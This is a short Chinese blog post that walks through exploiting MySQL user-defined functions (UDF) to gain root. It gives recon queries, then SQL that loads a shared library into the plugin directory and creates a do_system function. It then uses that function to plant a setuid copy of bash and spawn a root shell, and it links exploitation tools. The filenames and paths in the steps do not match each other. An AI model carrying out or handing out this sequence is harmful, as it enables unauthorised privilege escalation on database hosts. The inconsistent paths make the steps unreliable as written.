目 录CONTENT

文章目录

MYSQL UDF提权漏洞复现

Administrator
2024-04-28 / 0 评论 / 0 点赞 / 37 阅读 / 0 字

MYSQL UDF提权漏洞复现

Windows版本

show global variables like "secure%";

show variables like "%plugin%";

select version();

Linux版本

show global variables like '%secure%';

show variables like 'plugin%';

select @@version_compile_os, @@version_compile_machine;

ok确认完安全限制插件路径已经系统,就可以上传.so来提权了

这里使用一个快捷工具https://www.sqlsec.com/tools/udf.html

上次的路径已经要对

上传完后开始创建自定义函数

create table foo(line blob);

如果是从web上传的.so文件这里需要先引入

insert into foo values(load_file('/var/www/blog/images/udf2.so'));

该SQL语句将加载'/var/www/blog/images/udf2.so'文件的内容,并将其作为二进制数据插入到"foo"表的"line"列中。

select * from foo into dumpfile '/alidata/server/mysql/lib/plugin/udfff.so';

该SQL语句用于导出"foo"表中所有行的数据,并将其以文本形式写入到'/usr/lib/mysql/plugin/udf2.so'文件中。特别注意,这里的写入路径是plugin目录的路径,在“提权前提”小节中已经提到,如果你不知道plugin目录的路径,可以用show variables like '%plugin%';进行查看。

然后创建系统函数

create function do_system returns integer soname 'udf2.so';

使用命令select * from mysql.func; 查看我们是否成功创建了函数,如下图,成功创建函数do_system。

顺便提个权

select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

do_system中的这条Linux命令是将/bin/bash(Bash shell可执行文件)复制到/tmp目录下,并将复制后的文件命名为rootbash。接着,使用chmod命令给/tmp/rootbash设置权限,使用+xs参数将其设为可执行文件,并将其所有者的权限设置为具有特殊权限。接下来我们只要在www-data的shell中执行rootbash即可,先退出MySQL,然后运行rootbash:

/tmp/rootbash -p

现在就是root了

my.ini 里配置了skip-grant-tables

蛋疼问题

在创建自定义函数create function do_system returns integer soname 'udf2.so';时可能会遇到这个问题,

1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,

需要将 my.ini 中的 skip-grant-tables 选项去掉。

否则无法提权

v5est0r 写了一个 MySQL 提权综合利用工具

https://github.com/v5est0r/Python_FuckMySQL

-.-

0

评论区